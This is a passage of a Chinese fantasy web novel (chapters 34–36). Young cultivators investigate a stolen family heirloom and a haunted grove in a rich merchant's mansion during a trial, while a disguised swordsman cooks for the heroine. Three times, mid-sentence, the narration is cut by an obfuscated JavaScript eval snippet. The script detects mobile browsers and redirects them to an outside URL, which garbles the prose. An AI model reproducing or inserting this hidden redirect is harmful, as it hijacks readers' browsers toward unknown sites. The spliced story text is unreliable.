齐文轩的这幅画,纸张、墨迹都比其他的画精致许多,连装裱用的卷轴都散发着淡淡的木质香,一定价值不菲,可见这张画的重要程度。 画上共两人,最中央的女子面容秀丽,与“薛晨”一同在亭中对弈。 右上角写着画名:《玉琳与表兄对弈图》。 “原来如此……” 许盈先是睁大眼睛,而后忽然垂下眼皮,一揽住纪楚肩膀,另一手指向前方,神情变得悠然而陶醉: “我是个家道中落的落魄书生,富户小姐对我芳心暗许,我却只敢借着她和表兄对弈的机会留下她的画像……” “但是我还是忍不住,在给画题名时,将深切的爱意直白书写……” 纪楚懂了,她立马接上戏: “但你却生出贼心,偷拿赵家宝物,从此再也无颜面对赵玉琳。” “胡说!我就算再穷,也绝无可能伤害玉琳的心!” 许盈入戏太深,被污蔑后横眉竖眼: “再说我是个连画画都不敢画单人画的怂包,根本没胆子偷窃!” 推理中断。 纪楚推开许盈的胳膊: “看来赵家传家宝可能真的不是齐文轩偷的。” 34. 第 34 章 调查陷入僵局,不知不觉间,天色已暗。 太阳落山的瞬间,纪楚和许盈同时察觉到一股阴寒的冷意,似恶鬼盘旋游移,夹杂着若有似无的妖气。 和昨夜情形如出一辙。 屋顶传来脚步声,听起来重量很轻,瓦片被踩出零散的移动声。 纪楚将手里的画轴卷起来: “齐公子,你家的屋顶得翻修了。” 许盈抄起桌子上碗大的砚台: “好麻烦啊,我只是个贫穷虚弱的书生。” 话音刚落,纪楚头上的房顶忽然破开一个大洞,一条身形极瘦极长、半是妖形半是人头的蛇妖从洞里跳了下来,细长分叉的舌头外伸着,发出嘶嘶的声响,直冲纪楚面容而来。 她早有准备,退后两步灵巧避开,手中卷轴当棍子使,迎面砸在蛇妖的脸上。 “梆”的一声脆响,那蛇妖便像个球一样被她打飞到了许盈脚下。 许盈:“啊啊啊人不人蛇不蛇的好恶心!” 手中砚台毫不留情地冲着蛇头砸了好几下,直打得蛇妖口吐白沫,蛇尾在地上无力地扭动着。 纪楚也觉得有点恶心: “这儿怎么全是没完全化形的妖?” 许盈已经被恶心到半崩溃,召出长剑看向纪楚: “你来我来?” 纪楚退后一步:“你来吧,毕竟是你家。” 许盈不再谦让,主要是实在不想再和这个恶心妖怪共处一室了,果断斩了蛇妖。 地上的蛇妖化作一摊深色水痕消失的同时,许盈身上的玉书牌亮起,除妖成功,记十分。 两人这才齐齐松了一口气,一个开窗通风一个开门透气。 门窗一打开,外面的凉风更加肆无忌惮地灌了进来。 纪楚和许盈一边补房顶一边分析: “这个地方晚上冷得很快,鬼气和妖气混在一起,和白天全然不同。目前看来,夜晚应该就是开始变化的预兆。” 许盈点头,对纪楚的分析表示赞同,一边将瓦片放回原位。 从除掉蛇妖开始,她就一直保持着一种若有所思的模样,和平时那种“不管三七二十一直接就是莽”的状态截然不同。 纪楚忍不住问她: “你想到什么了吗?” 许盈抬头: “纪楚,你不觉得除妖这个任务,有点太简单了吗?” 纪楚疑惑。 许盈解释道: “你没有接过除妖任务,所以觉得没什么,但我经常和蒋成旭下山除妖,那些妖大多穷凶极恶,就算是低阶小妖,往往也害人无数。但这儿的妖,有点太无害了。” 她坐在房顶上,指了指身下的屋子: “比如今天这蛇妖,就算不是你我这样的修士,换作个胆大些的人,应该也能除掉……就是恶心了些。” “这样的任务,真的是问仙大会该有的难度吗?” 许盈这么一说,纪楚也觉得有点古怪: “昨天我只是觉得妞妞强得可怕,但现在想想,她其实并没有强到可以和你我对抗的地步,而那只狐妖也是个没化形的小妖。如果我们的任务只是处理这样的小妖,简直就跟……” “就跟送分一样。” 许盈神情严肃: “问仙大会,圣品灵丹,哪有这么简单的好事?这地方,肯定还有别的古怪!” 一阵凉风吹来,纪楚下意识打了个寒颤,感觉这里的晚上有点太冷了,简直像是一夜入冬。 修好了房顶,齐文轩家里也已经被她们翻了个底朝天,除了和赵玉琳的私情,再也没有其他的线索了。 纪楚决定先回杨家。 许盈没有跟她一起,说是要当个“隐于幕后的独行侠”,从此不再露面,暗中调查。 不过纪楚猜测真实的原因是“齐文轩”一露面就会被人当贼抓。 一路上又见到了几个神态诡异的人,顺手除了两只主动撞上来的小妖,纪楚拿着热乎的“二十分”推开了杨家的大门。 “杨念之”背对着大门站在院子中央,似乎正要回屋。 纪楚没有多想,张口问了句: “阿兄,你也还没睡啊?” 问完她又觉得奇怪: “不过……你是刚从外面回来吗?” 孟喻辞身形一顿,不着痕迹地转了半个身,没有回答她的问题,作势朝厨房的方向走去: “你一天没回来,吃饭吗?” 纪楚果然被他引开了注意,脑子里全是昨天那些口味古怪的豆腐,迟疑道: “呃……我还不是很饿。” 刚说完,她肚子就“咕噜”一声响。 纪楚两手捂着肚子,暗骂它“没点眼力见儿”。 好在孟喻辞没有说什么,直接转身进了厨房。 纪楚在院子里转了两圈,又攀上墙头观察何婶家。 安安静静,一片漆黑,鸡笼和厨房已经整理好了,没有妖气,也不见妞妞“梦游”。 她坐回桌边的功夫,“杨念之”已经端着一碗热腾腾的面走了出来。 纪楚原本还在思考今应该怎么违心地夸“好吃”,谁知低头一瞧,面前的这碗面竟色香味俱全,面是细而匀称的面,汤是清而不淡的汤,上面还卧了一个边缘焦香的荷包蛋,在这个阴寒的夜里散发着温暖诱人的饭香。 只看一眼就叫人食指大动。 孟喻辞将筷子递给她。 纪楚接过筷子,尝了一口,整个人再度僵住。 孟喻辞看她神情,平静道: “不好吃就算了。” 下一刻,却见纪楚先是疯狂点头,再是反应过来后疯狂摇头: “不不不不——好吃!这回是真的好吃!” 她饭也顾不上吃了,一脸惊喜地看向“杨念之”: “原来这才是你的真实水平!杨思思也太幸福了吧……啊不是,我是说,我也太幸福了吧!” 纪楚高兴地恨不得抱着碗蹦起来。 早知道杨念之的厨艺如此高超,她今天就该按时回家吃饭,才不要和许盈一起翻什么诗句字画。 不过好在还有如此美味的夜宵,这一天就不算白过! 孟喻辞看着她像饿了一天的小猫一样,“哧溜哧溜”将一碗面吃的干干净净,眼角眉梢都洋溢着“捡到宝了”的兴奋,和捧着盘盘果的样子并无二致,忍不住在心里轻笑一声。 果真是个小孩子。 眼看纪楚整张脸都快要埋进碗里,头发也随之垂落,他来不及提醒,直接伸手捏住她的头发。 纪楚抬起头,看着他的手“咦”了一声。 孟喻辞捏着指尖柔软光滑的乌发,轻声解释: “头发散了。” 纪楚又“喔”了一声,混不在意的模样: “谢谢阿兄!” 孟喻辞垂眸,十指在她发间灵巧穿梭,将那缕不听话的头发束好。 * 第二天一大早,何婶就上门来堵纪楚了。 “前夜闹了贼,你在隔壁,没撞上什么奇怪的人吧?” 纪楚警惕起来: “不知道呢,我一直在睡觉。” 何婶松了一口气,嘟囔道: “没有就好,可不敢叫那吃软饭的贼惦记上……” 说着她又道: “昨儿个你去哪了,怎么一整天都不见人影……倒也没什么急事,就是想问问,那册子上的人,你可有挑中的?” 吃软饭的贼? 这是纪楚第二次从何婶嘴里听说这个形容了。 难道指的是和赵家小姐有私情的齐文轩? 齐文轩和杨思思难道还有关系? 可她和许盈已经将齐文轩家里翻了个底掉,也没见到任何和杨思思有关的东西啊? 纪楚思索半晌,还是摸不着头脑。 “杨念之”一大早就去给她张罗早饭了,纪楚原本打算直接回绝了何婶的“相亲册子”。 但一想到薛晨和赵家的关系,她又改变了主意。 她想去赵家看看。 纪楚故意装出欲言又止的样子: “册子上啊……倒是有个喜欢的,叫薛……薛……” “薛晨是吧!我就知道你会喜欢!” 何婶面上一喜,迫不及待地接话: “婶子见过的这些年轻人里头啊,就属他模样好长得俊,重点是家世也好啊!赵府表公子,现下就住在赵府,将来可是有数不清的富贵啊!你等着,婶子这就替你去说。” 纪楚却拉住她道: “等等,我又想了想,阿兄身体不好,赵府表公子定然不是个会照顾人的,我若是成了亲,以后谁来照顾阿兄?还是算了吧……” 何婶一听就急了: “这怎么能算了呢?婚姻是大事,你阿兄又怎能忍心耽误你的姻缘?万一拖着拖着,再叫那吃软饭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170698|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼哄骗了去,他哭都没地方!” 纪楚看她。 何婶也意识到自己一着急多说了几句,于是急忙平静了一下,复又语重心长道: “莫怪婶子多嘴,家里全靠你卖花赚钱,才能得多少银子?万一叫那别有用心的废物书生看上了,可是数不清的麻烦!” “再者说,薛公子可是对你情根深种,专程同婶子打听了你,将来成亲了,聘礼定不会少,给你哥雇个仆人,再娶房妻室,都不成问题。” 何婶果然是薛晨的托。 而让她多次出言辱骂的“吃软饭的贼”、“废物书生”,显而易见是齐文轩了。 看来她的猜测没有错: 杨思思、齐文轩、薛晨、赵玉琳这几个人之间,一定发生了一些事,兴许就是齐文轩被当成贼的关键。 至于是什么事,就只能去赵府一探究竟了。 纪楚什么也没说,假装被她说服,垂下头装作害羞: “可是我还没有见过薛公子呢……” “哎呀,没有可是!” 何婶生怕她打了退堂鼓,急忙将事情敲定: “明日……不,今日我就去寻薛公子,你二人见上一面,保证什么顾虑都没有了!” 纪楚趁热打铁,给何婶的急迫加码: “要不还是算了吧,等薛公子约见我,都不知何年何月了,我这边还得上山采花……” 想到薛晨的嘱托,想必也是耽误不得的。 何婶咬咬牙道:“不必等了,我们现在就去赵府找他!” 计划通,纪楚一下子高兴起来: “那真是太好了!” 她转身跑到厨房门口,“杨念之”正准备端着饭菜出来。 纪楚瞥了一眼就知道好吃,但是去赵府调查更为重要,她也只能忍痛告别: “我有急事出去一趟,来不及吃饭了。” 孟喻辞垂眸看她一眼,没有多问,只说了句: “哦。” 他这么好说话,不言不语地将饭菜又放了回去,反倒看得纪楚有点心虚。 她于是左顾右盼,最后指着桌子上的食材夸了句: “摆盘好像小猫!好可爱!阿兄你真厉害!” 试图缓和气氛。 “杨念之”瞥她一眼,又看了下她手指的地方,没有吭声。 纪楚已经转身跑了,想了想,又停下朝外跑的步子,回头扒在门上说: “我晚上肯定回来吃饭的!” 孟喻辞“嗯”了一声,意识到自己态度太过冷淡,并不像一个关心妹妹的兄长,又补充道: “我等你。” 纪楚这才放心地走了。 她一走,孟喻辞便也没了做饭的必要。 他看了一眼灶台上已经洗好切好、原本打算用来凉调的食材,随手扔了一道灵力将其冻着,而后转身离开。 路过何婶家时,看见妞妞正抱着一个大鸡腿站在门口啃。 她白天看起来和常人无异,但孟喻辞还是察觉到了她身上一股极其轻微的邪气。 他停下步子: “鸡腿好吃吗?” 妞妞点头,口齿不清地回答他: “好吃!我最喜欢吃鸡腿!” 孟喻辞又问:“那你最讨厌什么?” 妞妞脸上的表情一下子变得阴森: “最讨厌偷鸡的贼!狐狸!死掉!” 孟喻辞平静地看着她,指尖却悄然浮现一缕剑气。 还未动手,妞妞就已经恢复了正常模样,抱着鸡腿一脸开心,一边小大人似的冲他说: “思思姐姐,相亲,薛公子……” 孟喻辞神色一顿。 妞妞显然不知道“相亲”的意思,只是在家听大人提起过,这才随口说出,说完便自顾自抱着鸡腿继续啃了,和普通孩童并无区别。 孟喻辞身上的剑气和杀意无形褪去,转而成了一种难以言喻的不爽。 他明知纪楚并非是非不分之人,急着离开,十有八九是为了问仙大会的比试内容。 这本也没什么,她并不知道自己的身份,只当他还是那个一无所知的病秧子“杨念之”,自然也没有必要事事与他交代; 而他也合该演好这个身份,不让纪楚生疑。 可就算这么想着,他心里却还是忍不住浮上几分微妙的落寞: 原来不吃他做的饭,是因为急着去和“薛公子”相亲。 35. 第 35 章 纪楚还不知道妞妞已经把自己卖了。 她跟着何婶一路穿过长街,走到一处极为富丽堂皇的府邸前,何婶拦下纪楚,独自同门房说了什么,便见那人打量了纪楚一眼,转身进去了。 过了一会儿,一个书童打扮的人出来,上下扫视一番纪楚,皱了皱眉,嫌弃道: “你就是那个卖花的?跟我来吧。” 何婶站在原地,丝毫没有被懈怠的不快,反而一脸欣喜地同她比划: “快去快去。” 纪楚收回视线,跟着进了赵府。 赵家不愧是城中最为富庶的商户,府内亭台楼阁金碧辉煌,假山池塘错落有致,名花贵种更是数不胜数,简直是个小皇宫。 纪楚很是好奇,左顾右盼多看了几眼,便听见前头带路的书童鄙夷道: “真是个没见识的穷鬼,公子怎么能看上这种女人?” 正好行至无人处,他索性停下步子,抄着手,背对着纪楚开始说教: “你这种女人我见多了,仗着有几分姿色就想勾搭我们公子,却还要耍弄三催四请的手段……区区一个卖花女,我们公子肯屈尊降贵给你一个机会,你可休要拿乔卖弄,要是能哄得公子开心,日后或许还能混个小妾外室当当……” 纪楚:“……” 她抬腿就在书童背后踹了一脚。 用力不重,但这书童平时并不勤于锻炼,下盘不稳,竟被她轻易踹出去老远,“哎呦”一声,摔进了一旁草丛里。 “你个泼妇小贱……” 他揉着腰站起来,正准备叉腰大骂纪楚时,却发现人已经不在背后了。 “人呢?” 书童站在原地,一下子慌了神。 * “还书童呢?满嘴疯话,读的什么书?吃的什么药?” 纪楚将烦人的家伙踢开后,独自沿着石子小路朝前走。 赵府虽然大,一路上却没见到几个人,甚至比旁的地方还要阴冷一些。 一进赵府,纪楚就感到不太对劲。 仿佛有什么极其阴森的东西一直在背后盯着她似的,让她时不时就本能想拔剑应战。 但是没有。 周边只有她一个人的脚步声,没走多远,连书童的气息都消失了。 一墙之隔的园子里安安静静,槐树的树梢从红墙中探出来,在石子路上打下一片阴影,槐花的香气浓烈扑鼻。 纪楚在树荫下站定。 背后那道无形的目光也随之跟着停下,越发凝实地粘在她背后,很容易让人联想到浓稠粘腻的血水,空气也好似成了胶着潮湿的固体,将她堵在这一片阴影之间。 桀桀怪笑如同幻听,随着花香送进她的感官,像个八面环绕的喇叭,还自带变调,吵得纪楚一下子头疼起来。 她忍无可忍,从地上捡起一块石头,朝着墙头上露出的槐树枝砸了过去: “哪来的小鬼,大白天也敢出来吓人?” 槐树枝被她砸中折断几根,地上的阴影散开,阳光照了过来,鬼叫声顿时停下。 纪楚绕着墙走了一圈,没找着入口。 这园子就好像封死的一样,一道高墙围了个囫囵,只有槐树能从里面伸出头来。 纪楚左右看了一眼,没有人。 她二话不说就攀上了墙。 谁知她刚站上墙头,就听见老远处有人大喊: “有人闯槐园!快抓住她!” 不少人举着棍子朝这边跑来。 纪楚还没来得及看清园内景象,就被人从背后拽下了墙。 出师不利啊…… 纪楚心想:她可千万不能和许盈一样被当成贼,从此只能“幕后调查”。 故而摔下来的同时,她果断抬肘后击。 闷哼声响起,拽她的人被打得后退两步,松开了拉着她胳膊的手。 一个衣着富贵、唇红齿白的俊俏少年站在她面前,按着胸前肋骨处被她捶到的地方,疼得脸色青白,嘴角却噙着熟悉的笑: “阿楚,你怎的还是如此无情?” 这熟悉的令人隔应的语气,这装模作样的姿态,除了薛羡尘,还能有谁? 纪楚的目光一下子变得警惕而意外。 她这样如临大敌般的重视的神情,仿佛时刻准备着扑上来将他殴打撕咬一顿,是只有在看到他时才会有的吗? 薛羡尘这样想着,勾起嘴角,伸手想要拉她手腕。 纪楚反手又是一拳。 可惜这次没能打到人,挥出的拳头被薛羡尘抓住,而后整个人被他按进怀里。 抓住纪楚的一瞬间,薛羡尘心里浮现出一丝隐秘的快意。 他在掌控着她。 她的拳头毫不留情砸在他身上,他却竟然从痛感中品出几分让他忍不住想要叹息出声的满足。 甚至忍不住滋生出更多充满恶意的念头,想知道她会不会在他手中,更加拼尽全力地反击。 少年身形颀长,将她的脸完全挡住。 这该死的魔头,竟敢趁机占她便宜! 纪楚怒极想要挣脱,薛羡尘却说: “阿楚如果不想被抓住的话,就不要乱动。” 余光瞥到追来的家丁们,能屈能伸的纪楚安静下来。 一行人跑过来却扑了个空,不见方才那试图闯槐园的人,只看见他们的表公子薛晨搂着一个女子,十分亲昵地为其梳理头发。 抬起的宽袖垂下,正好将怀里那女子的衣着打扮遮住。 这些家丁一时有些迟疑,想要上前查看,又怕触了薛晨的霉头,只好派一个胆大的上前询问“是否见到闯园之人”。 薛羡尘否认。 家丁们不相信。 好端端一个大活人不会轻易消失,薛晨早不出现晚不出现,偏偏在有人闯园的时候出现,实在太过巧合了。 但追问却换来“薛晨”漫不经心的嘲讽: “偏僻地儿抱美人才有意趣,若是不信,你们就继续搜呗。” “可别怪我没提醒你,这槐园日日闹鬼,你们怎么确定,那爬墙的,就是个大活人呢?” 一句话说的众人汗毛倒竖,细思之下越发觉得后怕,匆忙互相推搡着离开旁边这个阴森的园子。 毕竟这位薛表公子素来是个行事无状的混不吝,哪儿热闹往哪凑,小事也能被他搅和成麻烦事,专挑槐园附近谈情说爱也不是没有可能。 前日还听说这位主看上了一个卖花女,到处打听不说,还花了银子叫人说和,竟是一副上了心的样子。 不过谁让赵老爷最是喜欢这位表公子呢。他们这些做下人的,除了顺着主子也没有办法。 更重要的是,这槐园确实容易闹鬼,他们谁也不想继续留在这儿,索性就这么回禀了去,反正也有薛晨作证。 追兵离开,纪楚立马推开薛羡尘,问了她最关心的问题: “槐园闹鬼怎么回事?赵府和比试内容有关吗?” 薛羡尘却没有回答,垂了眸子,一副被辜负的模样: “我救了阿楚,连声谢谢都没有,阿楚就如此讨厌我吗?” 这个魔头是演深情演上瘾了吗? 纪楚:“你少在那装!是不是你买通何婶,故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176678|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引我过来?” 薛羡尘却像是刚知道她的身份似的,闻言露出恍然大悟的表情: “原来阿楚就是杨思思!” “我刚来便听说这个身份痴恋一个卖花的女子,原还觉得麻烦,想着是否要回绝了,没想到……竟是阿楚你!” “如今分到同一场比试中,还有这样一层关系,可见你我二人实在缘分匪浅。” 他轻笑起来,分明看到纪楚满脸吞了苍蝇般的不悦,却还是故意问她: “阿楚,你欢喜不欢喜?” 纪楚:“……” 她发现她跟薛羡尘这种脑子有病的神经病根本没法沟通。 不对,是她根本不该和薛羡尘沟通! 一个魔头,谁知道他混进问仙大会是不是要害人,她是脑子坏了才试图从他这里了解情况! 既然“薛晨”就是薛羡尘,那她也不用装模作样演什么相亲了。 想必这个魔头也不会叫她顺利完成比试,指不定在哪等着坑她。 纪楚决定故技重施。 她上前一步,在薛羡尘露出笑容朝她展开双臂试图再度抱她的同时,猛地抬腿—— 将衣着富贵的表公子也踢进了草丛里。 而后她调动灵力,进了闹鬼的槐园。 纪楚落地后还朝墙上看了一眼,薛羡尘没有跟上来——最好是已经被她踢死了。 她诅咒完人,转头看向面前的园子。 和预想中的不太一样,这座经常闹鬼的槐园非但不阴森可怖,反而一派欣欣向荣。 园中种满了鲜花,缤纷的色彩像一副色彩鲜亮的画,只是看着就叫人感到心情舒畅。 中间的老槐树也不像她在外面时看得那般鬼气森森,高大的树冠向上伸展着,浅色的小花挂在枝头,芳香满盈。 怎么看,都和“鬼”没有关系。 纪楚觉得奇怪,又朝更深处走了几步,一座四角凉亭出现在她面前。 柱子遮挡了大半视线,却有一道瘦长的影子被阳光拉长露出。 纪楚看着影子头上熟悉的飘逸的发带,试探着问了句: “许盈?” “纪楚?!” 被点名的许盈大惊,从柱子后面探出头: “怎么是你?” 她抬头朝远处看了看: “原来刚刚那么热闹,是来抓你的?” 纪楚:“差不多吧,你怎么也在赵府?” 许盈挂着两个黑眼圈: “快别提了,昨晚又被赵府的人追了一夜,我哪都去不了。既然最危险的地方就是最安全的,我决定主动上门,杀他们个猝不及防!” 她话音刚落,亭子另一角忽然传来衣料摩擦的声响。 纪楚一惊,许盈急忙“嘘”的一声,手舞足蹈地示意她快找地方躲好: “差点忘了!这儿还有其他修士,我们对峙了好久,胜负未分,你快先找个地方藏起来!” 纪楚一听还有其他人,急忙挑了离许盈最近的一根柱子藏进去,一边探头问她: “是谁啊?” 许盈摇头表示不知道。 “……是我。” 反倒是另一根柱子背后传来一道无奈的女声。 随后一个身穿白色裙衫、头戴佛门莲花冠、样貌冷清的女子从第三根柱子后头绕了出来。 “出来吧,我早看见你们了。” 纪楚和许盈面面相觑,不知道该不该出去。 白衣女子见状,只得叹了口气,说: “是我,蒋成旭。” “我变成女子了。” 36. 第 36 章 蒋成旭此刻的身份,就是那个和齐文轩有私情的赵府小姐赵玉琳。 赵玉琳其人性情冷淡,喜好诗书,因缘巧合下结识了到府中为赵老爷讲书绘画的齐文轩,一见钟情。 赵家是富户,自然不会和齐文轩这样的穷酸书生结亲,故而两人一直保持着地下恋情的关系,这和齐文轩家里查到的情况吻合。 根据蒋成旭所说,赵玉琳应当是察觉到了府中闹鬼的事情,这才一直吃斋念佛。 许盈和蒋成旭一起被安错了性别,这反而让两人同时松了口气,有种“一起丢人就不显得丢人”的安心感。 “你们两个怎么才来?” 蒋成旭不解: “过去整整两天两夜,除了个别不想争名次的混子,分到这里的弟子们已经在赵府打了好几轮了,你俩要是再不出现,我还以为我们不在一个小世界呢!” 纪楚:“……” 许盈:“……” 两人对视一眼,从彼此眼里看见了明晃晃的疑惑。 许盈原本还想打肿脸充胖子假装一切尽在掌握,纪楚反倒直接问了出来: “为什么大家都要来赵府打架?任务不是捉妖计分、然后比分数高低吗?” 蒋成旭拧起眉头:“捉妖计分?” 他愣了很短暂的一瞬,飞快追问一句: “你们的任务是什么?” “当然是捉妖啊。虽然没找到赵府来,但是我在外面拿了好多分呢。” 许盈毫不犹豫掏出自己的玉书牌,正待炫耀,却发现上面空空荡荡,又恢复了刚来时的一片空白,不禁惊呼出声: “我分呢?!” 纪楚也急忙查看自己的玉书牌,发现上面同样是空空荡荡,一脸不可置信地晃了晃玉书牌。 被她俩傻乎乎的样子一打岔,蒋成旭心里的紧张瞬间变成了无语,出声提醒她们: “玉书牌只在晚上有字,白天全都恢复空白,你们这几天都没发现吗?” 许盈和纪楚:“……” “原来是这样啊哈哈……” 许盈听后尬笑两声,坚定维护自己的面子: “当然知道啊,我就是顺便考验你一下。” 实际上她从早到晚被赵府的人追,哪里有空研究玉书牌。 蒋成旭做了个“你高兴就好”的动作,组织了一番措辞,回答纪楚方才的问题: “修士来赵府,自然是因为这里气息最为阴邪,邪祟和妖物最多。” 很有道理。 纪楚认可这个回答。 毕竟她进赵府以后就感到阴气颇重,还有个小鬼怪叫吓唬她。 见蒋成旭看着她的玉书牌若有所思,纪楚随口问了句: “你的玉书牌呢,我们的任务都是捉妖,你的任务也是捉妖吗?” “……当然也是捉妖。” 蒋成旭回过神来,似乎不想过多讨论这个话题,抬头看了看天色: “现在距离晚上还有一段时间,我先送你们出去……” “出去?不能出去!” 许盈否决: “我是来找赵府的传家宝的!更何况你们都在这里猛猛得分,我怎么能空手出去?今晚我就要狠狠捉妖赚分!” 纪楚也拒绝:“我也不出去,赵府的鬼大白天都敢吓唬人,我非得把它除了不可。” 蒋成旭欲言又止半晌,只好说: “那你们先跟我回去,我帮你们打听传家宝和鬼的事。” 他的态度有点奇怪,好像赵府的传家宝和鬼都不是他最关心的事情。 但纪楚和许盈谁都没有多想,跟在他身后离开了槐园。 毕竟这里说到底还是一场比试,每个人都要拿出全部力气拼个输赢,蒋成旭有自己的考量也很正常。 再加上蒋成旭一直再三强调: “不要轻信其他人,问仙大会前三名的荣耀,一百五十年的修为,没有人不想得到。” 许盈因而更加觉得好玩,只当他是怕她们继续当混子,还悄悄对纪楚调侃: “瞅瞅他这副严肃的样子,看来是真的很想赢了。” 纪楚于是跟着说: “那我们也要加油了!” 赵玉琳住在赵府西侧,蒋成旭找理由将仆人家丁打发走,只留了一个沉默寡言的丫鬟守着门。 纪楚和许盈再次翻墙进来。 她二人自打来了这个小世界就一直翻墙,现在已经“鬼鬼祟祟”成了习惯,走到正屋门口还想找窗户,被蒋成旭拉住,推开大门请了进去: “没有别人,两位女侠不用躲了。” 许盈和纪楚两人进屋后拍了拍手上不存在的灰,掩饰尴尬。 蒋成旭给两人一人倒了一杯热茶,又摆了好多点心,这才开始分享他知道的情报。 赵家老爷赵明,一个贪财好色、自私自大的人,在城中的风评并不算好。 据蒋成旭所说,就连他的亲生女儿赵玉琳,都与他关系很差。 而赵府开始闹鬼的时间,恰好就是传家宝丢失当天。 赵府的传家宝究竟长什么样子,无人能说的清楚。 据说赵府老爷赵明十分在意此物,一直放在他的书房里,只他一人可以触碰。 直到前几天,齐文轩照常来书房给赵老爷讲书,之后传家宝就丢失了。 而从赵明将传家宝放回盒子里,再到传家宝消失的这段时间,赵明的书房里就只有赵明和齐文轩两个人。 无论怎么看,齐文轩都是最有可能盗宝的人。 而赵明自打丢了传家宝后便时常昏厥不醒,更没法打听具体情况了。 绕了一圈,竟然还是齐文轩盗宝的可能性最大。 这让纪楚和许盈感觉很是挫败。 蒋成旭看起来很忙,赵家大小姐的身份太过显眼,他既要假扮赵玉琳应付府里的事务,又得小心藏好自己的身份。 扮演一个异性,一个性格与他相差极大、还亲友一大堆、时刻被人盯着的异性,难度不可谓之不大。 纪楚刚准备表示对他的同情,就见蒋成旭抱来一大摞佛经和笔墨纸砚放在她们面前: “同情的话不必说,是朋友就来帮我分担点。” 纪楚:“……” 许盈:“……靠!” 蒋成旭叉腰,这个姿势将赵玉琳自带的清冷气质冲刷得一干二净,一副控诉模样: “怎么?我帮你们打听消息,你们连这点小忙都不愿意帮吗?” 他看起来十分失望伤心难过,一手捂着心口叹道: “原以为我们交情颇深,纵使是比试,也能互相帮助,为着帮你们打听消息,我还招了不少怀疑,却没想到竟是沙场无父子、天家无亲情、问仙大会里没有同门朋友情……” “打住!” 许盈听不下去了: “不要再用美女姐姐的脸做这种表情了,我们也没说不帮啊……” “那真是太好了!” 蒋成旭闻言果断放下手,熟练地理了理裙子,又整了整头上的佛门莲花冠,这才扮成赵玉琳的模样出了门,还不忘交代一句: “我得去拜见长辈了,顺便帮你们打听一下传家宝的情况,吃的喝的全在桌子上,随便拿,你们晚上别乱跑,抄不完不许出门啊!” 纪楚和许盈两人就这样莫名其妙抄起了佛经。 蒋成旭这一出门就没再回来,纪楚全然忘记了自己说过的“晚上回家吃饭”,拿着笔自动进入机械化抄写。 抄到数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186648|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清多少页的时候,许盈忽然回过神来,问纪楚: “你现在有什么感觉?” 纪楚抓着笔抬起头,认真回答: “我感觉蒋成旭在诓我们。” “我也是!” 许盈猛地站起身扔了笔,在桌子砸下一片墨痕: “他明知道咱俩最讨厌看书背书抄书,居然还拿这么多佛经让我们抄!摆明了不想让我们出去!” 她看向纪楚,神色狰狞: “以我和他从小一起长大的交情来看,这个姓蒋的,心里绝对有鬼!” 纪楚:“所以他为什么不想让我们出去?” 许盈咬牙切齿: “鬼知道!说不定是在外面偷偷得分呢!” “不至于吧?” 纪楚有些怀疑:“蒋成旭不像是这样的人啊?” “你别太相信他了!” 许盈脑子里浮现出许多往事: “他小时候的黑历史可太多了,以前我俩当邻居的时候,他打赌赢了我的簪子,到处宣扬是我送他的聘礼,坏我风评,害的我被爹娘好一通骂……” 纪楚听得一愣一愣的。 许盈越想越觉得自己是被蒋成旭算计了,重重一拍桌子: “谁爱抄谁抄去!姑奶奶我不伺候了!” 她拉起桌边的纪楚: “走走,事不宜迟,我们也猛猛得分去!” 纪楚被她一把从椅子上薅了起来,飞一般地冲向门口。 房门打开的一瞬间,冷风猛地灌了进来,纪楚和许盈望着面前一片漆黑、阴气四溢的赵府,以及恶鬼游荡、邪祟横行的怪状,两人同时愣住。 良久,许盈松开拉着纪楚的手,惊叹一句: “这是给我干哪来了?这还是赵府吗?” * 暮色西沉,孟喻辞在桌边垂眸静坐。 桌子上摆满了各色美食,饭香满溢,色泽莹润,连胡萝卜都被削成了半开的花苞,立在山药做的小兔子、豆腐削成的小猫旁边,美的像是艺术品。 孟喻辞的厨艺以超越常理的速度飞快进步,两天前还拿不准调料的用量,此刻已经有余力打磨造型。 但本该按时回家吃饭的纪楚却不见踪影。 他面上没什么焦急失望之色,只静静等着。 直到天边最后一点亮色消失不见,暗影缓缓覆上夜幕,阴风带来彻骨的寒意,孟喻辞才轻嗤一声,暗道自己是“傻了”。 怎么就因为纪楚一句话,还真赶着在天黑前回来,准备了一大桌子饭,又一直等到现在。 用剑修对刀刃的近乎变态的控制能力给食材雕花…… 呵。 他觉得自己真真是好笑极了。 